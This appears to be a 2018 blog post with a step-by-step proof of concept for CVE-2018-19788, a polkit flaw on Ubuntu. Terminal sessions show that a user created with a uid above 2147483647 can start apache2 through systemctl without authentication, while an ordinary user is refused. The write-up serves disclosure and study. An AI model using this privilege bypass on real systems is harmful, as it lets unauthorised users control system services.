Exploit PoC: Linux unprivileged user access to systemctl command (CVE-2018–19788)

Magrabur Sofily
5 min readDec 12, 2018

Vulnerability Summary: A low privilege user on most Linux systems with uid greater than 2147483647 automatically gets the system level privilege for issuing system level systemctl command.

A word about Polkit (formerly PolicyKit): Polkit is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged ones. Polkit allows a level of control of centralized system policy.

Vulnerability Description: The flaw was found in PolicyKit (aka polkit) 0.115 that allows a user with a uid greater than INT_MAX to successfully execute any systemctl command. INT_MAX is the maximum value an integer variable can store which equals to 2147483647.

Here is a quick step-by-step PoC of exploiting the vulnerability.

My PoC Machine: I used my ubuntu machine (Ubuntu 18.04.1 LTS) for this purpose.

My PoC Summary:

  1. I created a user called ‘gooduser’ with system provided default uid
  2. When logged in using ‘gooduser’, I am not allowed to run system level command ‘systemctl’.
  3. I then created another user called ‘baduser’ with uid 2147483648 (which is larger than Linux INT_MAX value).

When I logged in using ‘baduser’, I can easily run systemctl command to stop/start any service.

My Ubuntu kernel details:

ubuntu@ubuntu:~$ cat /proc/version

Linux version 4.15.0–38-generic (buildd@lcy01-amd64–022) (gcc version 7.3.0 (Ubuntu 7.3.0–16ubuntu3)) #41-Ubuntu SMP Wed Oct 10 10:58:23 UTC 2018

ubuntu@ubuntu:~$

ubuntu@ubuntu:~$ cat /etc/issue

Ubuntu 18.04.1 LTS \n \l

ubuntu@ubuntu:~$

Step-1: Create a good user named ‘gooduser’ with system default uid

ubuntu@ubuntu:~$ sudo adduser gooduser

[sudo] password for ubuntu:

Adding user `gooduser’ …

Adding new group `gooduser’ (1001) …

Adding new user `gooduser’ (1001) with group `gooduser’ …

Creating home directory `/home/gooduser’ …

Copying files from `/etc/skel’ …

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for gooduser

Enter the new value, or press ENTER for the default

Full Name []:

Room Number []:

Work Phone []:

Home Phone []:

Other []:

Is the information correct? [Y/n] Y

ubuntu@ubuntu:~$

ubuntu@ubuntu:~$

Step-2: Check apache2 service status using systemctl command which shows it is not active.

ubuntu@ubuntu:~$ systemctl is-active apache2.service

inactive

ubuntu@ubuntu:~$ systemctl status apache2.service

● apache2.service — The Apache HTTP Server

Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)

Drop-In: /lib/systemd/system/apache2.service.d

└─apache2-systemd.conf

Active: inactive (dead) since Fri 2018–12–07 11:38:46 JST; 1h 46min ago

Process: 4993 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)

Process: 4880 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)

Main PID: 4894 (code=exited, status=0/SUCCESS)

Dec 07 11:32:17 ubuntu systemd[1]: Starting The Apache HTTP Server…

Dec 07 11:32:17 ubuntu apachectl[4880]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to

Dec 07 11:32:17 ubuntu systemd[1]: Started The Apache HTTP Server.

Dec 07 11:38:46 ubuntu systemd[1]: Stopping The Apache HTTP Server…

Dec 07 11:38:46 ubuntu apachectl[4993]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to

Dec 07 11:38:46 ubuntu systemd[1]: Stopped The Apache HTTP Server.

ubuntu@ubuntu:~$

ubuntu@ubuntu:~$ systemctl is-active apache2.service

inactive

ubuntu@ubuntu:~$

Step-3: Login using user ‘gooduser’

ubuntu@ubuntu:~$ su — gooduser

Password:

gooduser@ubuntu:~$ id

uid=1001(gooduser) gid=1001(gooduser) groups=1001(gooduser)

gooduser@ubuntu:~$

gooduser@ubuntu:~$

Step-4: Check the apache2 service and try to start it. It will not start due Access denied.

gooduser@ubuntu:~$ systemctl is-active apache2.service

inactive

gooduser@ubuntu:~$

gooduser@ubuntu:~$ systemctl start apache2.service

==== AUTHENTICATING FOR org.freedesktop.systemd1.manage-units ===

Authentication is required to start ‘apache2.service’.

Authenticating as: ubuntu,,, (ubuntu)

Password:

polkit-agent-helper-1: pam_authenticate failed: Authentication failure

==== AUTHENTICATION FAILED ===

Failed to start apache2.service: Access denied

See system logs and ‘systemctl status apache2.service’ for details.

gooduser@ubuntu:~$

Step-5: Log off

gooduser@ubuntu:~$ exit

logout

ubuntu@ubuntu:~$

Now let’s do the exploit.

Step-1: Create a bad user named ‘baduser’ with uid as 2147483648

ubuntu@ubuntu:~$ sudo adduser baduser — uid 2147483648

Adding user `baduser’ …

Adding new group `baduser’ (2147483648) …

Adding new user `baduser’ (2147483648) with group `baduser’ …

Creating home directory `/home/baduser’ …

Copying files from `/etc/skel’ …

Enter new UNIX password:

Retype new UNIX password:

passwd: password updated successfully

Changing the user information for baduser

Enter the new value, or press ENTER for the default

Full Name []:

Room Number []:

Work Phone []:

Home Phone []:

Other []:

Is the information correct? [Y/n] Y

ubuntu@ubuntu:~$

ubuntu@ubuntu:~$

Step-2: Check apache2 service status using systemctl command. Again, it is not active.

ubuntu@ubuntu:~$ systemctl is-active apache2.service

inactive

ubuntu@ubuntu:~$ systemctl status apache2.service

● apache2.service — The Apache HTTP Server

Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)

Drop-In: /lib/systemd/system/apache2.service.d

└─apache2-systemd.conf

Active: inactive (dead) since Fri 2018–12–07 11:38:46 JST; 1h 53min ago

Process: 4993 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)

Process: 4880 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)

Main PID: 4894 (code=exited, status=0/SUCCESS)

Dec 07 11:32:17 ubuntu systemd[1]: Starting The Apache HTTP Server…

Dec 07 11:32:17 ubuntu apachectl[4880]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to

Dec 07 11:32:17 ubuntu systemd[1]: Started The Apache HTTP Server.

Dec 07 11:38:46 ubuntu systemd[1]: Stopping The Apache HTTP Server…

Dec 07 11:38:46 ubuntu apachectl[4993]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to

Dec 07 11:38:46 ubuntu systemd[1]: Stopped The Apache HTTP Server.

ubuntu@ubuntu:~$

Step-3: Login using user ‘baduser’

ubuntu@ubuntu:~$ su — baduser

Password:

baduser@ubuntu:~$ id

uid=2147483648(baduser) gid=2147483648(baduser) groups=2147483648(baduser)

baduser@ubuntu:~$

Step-4: Check the apache2 service and try to start it. Notice, it can be started without any issue.

baduser@ubuntu:~$

baduser@ubuntu:~$ systemctl is-active apache2.service

inactive

baduser@ubuntu:~$

baduser@ubuntu:~$ systemctl start apache2.service

(process:5963): GLib-GObject-WARNING **: 13:33:38.559: value “-2147483648” of type ‘gint’ is invalid or out of range for property ‘uid’ of type ‘gint’

baduser@ubuntu:~$

baduser@ubuntu:~$ systemctl is-active apache2.service

active

baduser@ubuntu:~$

Step-5: Exploited successfully. Now log off and verify the service status again.

baduser@ubuntu:~$

baduser@ubuntu:~$ exit

logout

ubuntu@ubuntu:~$

ubuntu@ubuntu:~$ systemctl is-active apache2.service

active

ubuntu@ubuntu:~$

ubuntu@ubuntu:~$ systemctl status apache2.service

● apache2.service — The Apache HTTP Server

Loaded: loaded (/lib/systemd/system/apache2.service; enabled; vendor preset: enabled)

Drop-In: /lib/systemd/system/apache2.service.d

└─apache2-systemd.conf

Active: active (running) since Fri 2018–12–07 13:33:38 JST; 1min 7s ago

Process: 4993 ExecStop=/usr/sbin/apachectl stop (code=exited, status=0/SUCCESS)

Process: 5967 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCESS)

Main PID: 5981 (apache2)

Tasks: 6 (limit: 4696)

CGroup: /system.slice/apache2.service

├─5981 /usr/sbin/apache2 -k start

├─5984 /usr/sbin/apache2 -k start

├─5985 /usr/sbin/apache2 -k start

├─5986 /usr/sbin/apache2 -k start

├─5987 /usr/sbin/apache2 -k start

└─5988 /usr/sbin/apache2 -k start

Dec 07 13:33:38 ubuntu systemd[1]: Starting The Apache HTTP Server…

Dec 07 13:33:38 ubuntu apachectl[5967]: AH00558: apache2: Could not reliably determine the server’s fully qualified domain name, using 127.0.1.1. Set the ‘ServerName’ directive globally to

Dec 07 13:33:38 ubuntu systemd[1]: Started The Apache HTTP Server.

ubuntu@ubuntu:~$

--

--